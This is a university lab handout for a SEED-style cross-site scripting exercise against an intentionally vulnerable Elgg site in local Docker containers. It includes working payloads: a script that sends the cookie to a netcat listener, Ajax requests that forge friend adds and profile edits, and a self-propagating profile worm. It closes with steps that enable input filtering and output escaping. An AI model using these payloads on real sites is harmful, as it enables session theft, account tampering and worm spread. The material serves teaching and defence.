LAB: Cross-Site Scripting (XSS) Attack (Ubuntu 20.04 VM)
****

XSS Background Information
****

In earlier lab exercises, we have already learned that:
"mixing data with code can be very dangerous"

A website has XSS vulnerability if it takes input that mixes data with code (usually JavaScript), does not sanitize the input, and sends a response to the browser with the original "code-bearing" input included in the response.

Code-bearing input: input that mixes data with code (typically JavaScript)

The "code-bearing" input may be included in the response to the browser "immediately" or stored by website in a persistent storage for inclusion in a later response.

Reflected (Non-persistent) XSS Attack: The code-bearing input is immediately reflected back to the victim's browser and the browser executes the code.

Persistent XSS Attack: The code-bearing input is stored by the vulnerable website and later included in a response to one or more users and/or applications of that website.

See Figures 13.1 and 13.2 from Du's book

When a mixture of data and code (HTML and JavaScipt) arrives at a browser, the HTML parser does separate code from data but executes the code when it is triggered. However, the browser does not know whether the code originated from a trusted web application or untrusted users.

In XSS attacks, once the untrusted code is executed by a browser, the code can send same-site forged requests to the web server on behalf of the victim user.

XSS attacks exploit the trust a user's browser has for a particular website.

Examples of damages caused by XSS attacks:

- Web defacing: The injected JavaScript code can use DOM APIs to access the DOM nodes inside a web page to access, delete, or make arbitrary changes to the page.

- Spoofing requests: The injected JavaScript code can send forged HTTP requests to the server on behalf of the user.

- Stealing information: The injected JavaScript code can also steal victim's private data such as cookies, personal data displayed on the web page, etc.

XSS Lab Instructions
****

Lab files:
XSS-Lab-Instructions.pdf (USE THIS FILE TO DO THE LAB TASKS)
Labsetup.zip (files required for docker containers)
XSS.pdf (brief summary of XSS and how it works)
Web_XSS_Elgg.pdf (lab specifications for reference purposes only)

Lab Setup and Information:

1. Download XSS-Lab-Files.zip file from Blackboard to SEED VM and unzip it.

2. Open the Terminal app from the sidebar.

   It is useful to have two terminal windows open for this lab
   (you can do this by having two tabs in the same Terminal window)

   I will refer to these tabs as "Terminal 1" and "Terminal 2" in this document.

   Terminal 1: is used to run the docker containers

Terminal 2: is for all other uses

3. From Terminal 1:

   Examine the contents of /etc/hosts file using the command:

```
$ cat /etc/hosts
```

   If the lines starting from 11 to the end of the file already contain the following mappings, you don't have to make any changes to this file.

```
# For SQL Injection Lab
10.9.0.5        www.seed-server.com

# For XSS Lab
10.9.0.5        www.seed-server.com
10.9.0.5        www.example32a.com
10.9.0.5        www.example32b.com
10.9.0.5        www.example32c.com
10.9.0.5        www.example60.com
10.9.0.5        www.example70.com

# For CSRF Lab
10.9.0.5        www.seed-server.com
10.9.0.5        www.example32.com
10.9.0.105      www.attacker32.com
```

   Otherwise, delete the lines from 11 to end of the file and add the above lines at the end of this file, starting at line 11. You can use gedit editor to do this.

```
 $ sudo gedit /etc/hosts
```

   Make sure correct changes are made to the file. Save the file and exit the editor.

4. From Terminal 1:

   Make sure you are in the XSS-Lab-Files folder.

   Unzip Labsetup.zip file using the command: unzip Labsetup.zip
   This will create a folder named Labsetup.

   This lab uses a social networking web application called Elgg.
   Web application URL is http://www.seed-server.com (after the docker containers start)

   This web application is intentionally configured to be vulnerable to XSS attacks by temporarily disabling certain built-in countermeasures in the application.

   This lab will be setup using two docker containers:
   - one for hosting the Elgg website (the vulnerable website)
   - one for hosting the MySQL database for Elgg application

   In the Elgg container, the code for the website is in the folder /var/www/elgg
   (don't look for it now - we haven't started the docker containers yet!)

5. From Terminal 1: Change to Labsetup folder, remove any existing docker containers and images, and start the docker containers using the commands below:

```
$ cd Labsetup   // to move to the Labsetup folder in the XSS-Lab-Files folder

$ docker rm -vf $(docker ps -aq)        // remove any running containers
                                        // ignore errors/warnings

$ docker rmi -f $(docker images -aq)    // remove any docker images
                                        // ignore any errors/warnings

$ dcup      // downloads docker images and starts two docker containers
            // CAUTION: "may" give errors if this command is run with VPN turned on
            // (on my laptop, this command caused errors with VPN on; it worked
            // when I turned off the VPN)
```

```
    You will see some output generated. It will take few minutes to download the docker
    images and start the containers. So, be patient!!

    After downloading and starting the containers, you should see text similar
    to the following in Terminal 1 window: "3306  MySQL Community Server - GPL."

    You don't have to do anything within this window tab. Just leave this window alone.

6.  From Terminal 2: You can verify that two docker containers are running with command:

    $ docker ps     // you should see two docker containers running


Preparation: Getting Familiar with the "HTTP Header Live" add-on in Firefox
***************************************************************************

Start Firefox browser

Important: Clear browser history:
    Open menu -> Preferences -> Privacy & Security -> History
    Click "Clear History..."

The Elgg website (www.seed-server.com) is configured with the following user accounts
(username and password):

    admin       seedadmin
    alice       seedalice
    boby        seedboby
    charlie     seedcharlie
    samy        seedsamy

Let's login into Samy's account and inspect HTTP POST request sent to server.
    username: samy     password: seedsamy

Optional: The parameters "__elgg_token" and "__elgg_ts" in the request are used to
counter CSRF attacks, not XSS attacks. If you like, you can observe this in HTTP request
sent to the web server using the HTTP Header Live tool in the Firefox browser.

Logout from Samy's account


Task 1: Posting a malicious message to display in alert window
**************************************************************

Login as samy and edit his profile to embed/inline the JavaScript code below in the
"Brief description" field.

    <script>alert('You are a victim of XSS Attack!!');</script>

Save the form and describe your observations and add appropriate screenshot(s)
in your report.

- Did an alert window pop up with text "You are a victim of XSS Attack!!"?

- Did you see anything displayed in the "Brief description" field in Samy's profile?


Task 2: Posting a malicious message to display user's cookies in alert window
*****************************************************************************

Samy now edits his profile to embed the JavaScript code below in the
"Brief description" field.

    <script>alert(document.cookie);</script>

Save the form and describe your observations. Add appropriate screenshot(s)
in your report.
```

- Did you see any cookies displayed in the alert window?

Task 3: Stealing cookies from the victim's machine
****

netcat (or nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP.

Attacker runs netcat program to listen in on port 5555 from the attack machine (on SEED VM for this lab exercise) to steal cookies from Samy's machine.

In Terminal 2, type the following command to start TCP server that listens for a connection on the specified port.

```
$ nc -lknv 5555
```

Samy edits his profile to embed the JavaScript code below in the "Brief description" field and saves the form.

```
<script>document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) +
'>');</script>
```

Caution: verify the script you copy and pasted into the form matches the above script exactly. It is safe to type in the script code into the form by hand.

Next, when Samy's profile is visited (by Samy or anyone else), the attacker receives the cookie details displayed in the console on his/her machine (localhost in our case).

Add screenshot of Terminal 2 in your report to show this.

After observing the data (cookie information starting with line GET /?c=) received at nc utility, terminate the nc utility with CTRL^C.

What do you see displayed in the "Brief description" field of Samy's profile?
    - see an icon for missing image? (add screenshot to show this)

Task 4: Becoming the Victim's Friend
****

XSS worm (JavaScript code) is injected into the "About me" field in Samy's profile that adds Samy as a friend to any user who visits Samy's profile.

When "Add friend" HTTP request is made to the server, the URL looks similar to this:

```
http://www.seed-server.com/action/friends/add?friend=59&__elgg_ts=1543265331
                                                &__elgg_token=0UzqRmTcwna2zgxWQbHQFg
```

Samy logs in (if not already logged in) and edits his profile as follows:

- Clear the text in "Brief description" field

- Make sure the "About me" editor field is in the Text mode by clicking on "Edit HTML".

- Add the following JavaScript code in the "About me" field and save the form.

WARNING: Be careful when copy and pasting the following script code.

```
<script type="text/javascript">
window.onload = function() {
   var samyGuid = 59;

   if (elgg.session.user.guid != samyGuid) { // if user visiting is not samy
      var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
      var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

      // construct the HTTP request to add Samy as a friend
      var sendurl = "http://www.seed-server.com/action/friends/add?friend=59" + token + ts;
      // create and send Ajax request to add friend
      var Ajax = new XMLHttpRequest();
      Ajax.open("GET",sendurl,true);
      Ajax.setRequestHeader("Host","www.seed-server.com");
      Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
      Ajax.send();
   }
}
</script>
```

Nothing actually happens when Samy views his own profile. The above script code does its work only when other users view Samy's profile.

After saving the form, the "above me" field in Samy's profile page shows nothing.

Samy logs out.

Boby logs into his account and visits Samy's profile (by searching for samy).

Verify that Samy is now added as Boby's friend. (add screenshot that shows this)

Boby removes Samy from his friends' list.

Boby logs out.

Task 5: Modifying the Victim's Profile
****

XSS worm (JavaScript code) is injected into the "About me" field in Samy's profile that modifies the profile of any user who visits Samy's profile.

The code changes the victim's profile to display "Samy is MY HERO".

Samy logs in and edits his profile as follows:

Make sure the "About me" editor field is in the Text mode by clicking on "Edit HTML".

Clear the current contents of "About me" field.

Add the following JavaScript code in the "About me" field and save the form.

WARNING: Be careful when copy and pasting the following script code.

```
<script type="text/javascript">
window.onload = function() {
   var name = "&name=" + elgg.session.user.name;
   var guid = "&guid=" + elgg.session.user.guid;
   var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
   var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
   var desc = "&description=Samy+is+MY+HERO" + "&accesslevel%5Bdescription%5D=2";

   // construct the content of URL
   var sendurl = "http://www.seed-server.com/action/profile/edit";
   var content = token + ts + name + desc + guid;
   var samyGuid = 59;

   if (elgg.session.user.guid != samyGuid) { // if user visiting is not samy
      // create and send Ajax request to modify profile
      var Ajax = new XMLHttpRequest();
      Ajax.open("POST",sendurl,true);
      Ajax.setRequestHeader("Host","www.seed-server.com");
      Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
      Ajax.send(content);
   }
}
</script>
```

After saving the form, the "above me" field in Samy's profile page shows nothing.

Samy logs out.

Boby logs into his account and visits Samy's profile (by searching for samy).

The "About me" field in Boby's profile should now say "Samy is MY HERO"
(add screenshot that shows this)

Boby edits his profile to clear the text in "About me" field and logs out.

Task 6: Writing a Self-Propagating XSS Worm
****

XSS worm (JavaScript code) is injected into the "About me" field in Samy's profile
that modifies the profile of any user who visits Samy's profile.

The code changes the victim's profile to display "Samy is MY HERO".

The worm also propagates to users who visit the profile of the newly infected profiles.

Samy logs in and edits his profile as follows:

Make sure the "About me" editor field is in the Text mode by clicking on "Edit HTML".

Clear the current contents of "About me" field.

Add the following JavaScript code to the "About me" field and save the form.

WARNING: Be careful when copy and pasting the following script code.

```
<script type="text/javascript" id="worm">
window.onload = function() {
   var name = "&name=" + elgg.session.user.name;
   var guid = "&guid=" + elgg.session.user.guid;
   var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
   var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
   var briefdesc = "&briefdescription=Samy+is+MY+HERO" +
"&accesslevel%5Bbriefdescription%5D=2";

   var jsCode = "<script type='text/javascript' id=worm>"
                    + document.getElementById("worm").innerHTML
                    + "</" + "script>";
   var wormCode = encodeURIComponent(jsCode);
   var desc = "&description=" + wormCode + "&accesslevel%5Bdescription%5D=2";

   // construct the content of URL
   var sendurl = "http://www.seed-server.com/action/profile/edit";
   var content = token + ts + name + desc + briefdesc + guid;
   var samyGuid = 59;

   if (elgg.session.user.guid != samyGuid) { // if user visiting is not samy
      // create and send Ajax request to modify profile and self-propagate
      var Ajax = new XMLHttpRequest();
      Ajax.open("POST",sendurl,true);
      Ajax.setRequestHeader("Host","www.seed-server.com");
      Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
      Ajax.send(content);
   }
}
</script>
```

After saving the form, the "above me" field in Samy's profile page shows nothing.

Samy logs out.

Boby logs into his account and visits Samy's profile.
    - Boby's profile will now display "Samy is MY HERO" in "Brief description" field

- Click on "Edit profile" to observe the "About me" field (in Visual editor mode) which now contains the worm code injected
- Boby logs out

Alice logs into her account and visits Boby's profile.
- Alice's profile will now display "Samy is MY HERO" in "Brief description" field
- Click on "Edit profile" to observe the "About me" field (in Visual editor mode) which now contains the worm code injected
- Alice logs out

Take appropriate screenshots for the steps and outcomes above and add them in your report.

Task 7: Elgg'S Countermeasures for XSS Attacks
****

Let's do some preparation before we enable the built-in countermeasures for XSS attacks in the Elgg application.

Login as alice and edit her profile as follows:
- Clear "About me" field (click on "Edit HTML" to see the contents)

- Enter the script below in the "Brief description" field:

  ```
  <script>alert('You are a victim of XSS Attack!!');</script>
  ```

- Save the profile and logout

Login as Boby and edit his profile to clear the contents of "About me" and "Brief description" fields. Save the profile and logout.

Note: You have to be in Visual editor mode (by clicking the Edit HTML link) for the "About me" field to see the contents of this field.

Login as Samy and edit his profile to clear the contents of "About me" and "Brief description" fields. Save the profile and logout.

Elgg web application has two built-in countermeasures to defend against XSS attacks:

1) Invocation of HTMLawed plugin inside the filter_tags() function in input.php file in the running Elgg container.

   HTMLawed plugin is a user input validation plugin that performs validation of user input and removes any HTML tags (such as <script>) present in the input.

   Currently, the line that invokes this plugin is commented out in input.php file.

2) Use of PHP's built-in method htmlspecialchars() to encode the special characters present in text.

   In Elgg, htmlspecialchars() method performs output encoding/escaping by converting special/reserved characters to HTML entities before output is sent to a browser.

   Some examples of converting special characters to HTML entities:

   ```
   & becomes &amp;
   < becomes &lt;
   > becomes &gt;
   " becomes &quot;
   ' becomes &apos;
   ```

   Currently, the line that invokes htmlspecialchars() function is commented out in dropdown.php, text.php, and url.php files in the running Elgg container.

Let's enable these two countermeasures in the running Elgg container by taking the following steps:

From Terminal 2:

Start a shell on the Elgg container with the following command:

```
$ docksh elgg-10.9.0.5

# cd /var/www/elgg/vendor/elgg/elgg/engine/lib

# nano input.php        // start the nano editor
```

Scroll to filter_tags() function and make the following changes to it:

```
function filter_tags($var) {
    return elgg_trigger_plugin_hook('validate', 'input', null, $var);
    //return $var;
}
```

Save changes to the file by pressing CTRL^O and hit enter to accept the filename.
Exit the editor by pressing CTRL^X

```
# cd /var/www/elgg/vendor/elgg/elgg/views/default/output

# nano dropdown.php
```

Make the following changes to dropdown.php file:

```
echo htmlspecialchars($vars['value'], ENT_QUOTES, 'UTF-8', false);
//echo $vars['value'];
```

Save changes to the file by pressing CTRL^O and hit enter to accept the filename.
Exit the editor by pressing CTRL^X

```
# nano text.php
```

Make the following changes to text.php file:

```
echo htmlspecialchars("{$value}", ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8', false);
//echo "{$value}";
```

Save changes to the file by pressing CTRL^O and hit enter to accept the filename.
Exit the editor by pressing CTRL^X

Using nano editor, make the following changes to url.php file:
Note: there are two places in this file where we need to uncomment one line and
comment out the next line.

```
# nano url.php

if (isset($vars['text'])) {
    if (elgg_extract('encode_text', $vars, false)) {
            $text = htmlspecialchars($vars['text'], ENT_QUOTES, 'UTF-8', fa>
            //$text = $vars['text'];
    } else {
            $text = elgg_extract('text', $vars);
    }
    unset($vars['text']);
} else {
    $text = htmlspecialchars(elgg_get_excerpt($url, $excerpt_length), ENT_Q>
    //$text = elgg_get_excerpt($url, $excerpt_length);
}
```

Save changes to the file by pressing CTRL^O and hit enter to accept the filename.
Exit the editor by pressing CTRL^X

```
# exit      ; to exit the container's shell
```

Let's test the now enabled countermeasures:

Login as alice.

View Alice's profile and describe your observations.

```
    Did the alert window show up this time?

    Does the "Brief description" field on her profile page show the following text:

        <script>alert('You are a victim of XSS Attack!!');</script>

        Add screenshot in your report to show this.

    htmlspecialchars() function worked as expected by encoding the special characters
    in the text before sending it to the browser. The browser treated the text as
    plain text and displayed as is without running the script.

    Next, Alice edits her profile without actually making any changes and saves it.

    Did the alert window show up?

    Does the "Brief description" field on the profile page show the following text
    without the <script> tags?

        alert('You are a victim of XSS Attack!!');

        Add screenshot in your report to show this.

    In this case, when Alice saved the (unmodified) profile, the HTMLawed plugin
    performed input validation on the text of "Brief description" and stripped off
    <script> tags before saving that text to the database.

    When the saved profile is displayed, it shows the text in the "Brief description"
    field without the <script> tags.

Alice logs out.


Clean up and wrap up the lab
****************************

1. In Terminal 2:

    $ cd ~/XSS-Lab-Files/Labsetup           # to make sure you are in the Labsetup folder
    $ docker ps                             # shows the list of docker contains running
    $ dcdown                                # to stop and remove the docker containers
    $ docker rmi -f $(docker images -aq)    # remove the docker images
    $ exit                                  # to exit terminal 2 window

2. In Terminal 1:

    $ exit              # to exit terminal 1 window


************  END OF XSS ATTACK LAB  ************
```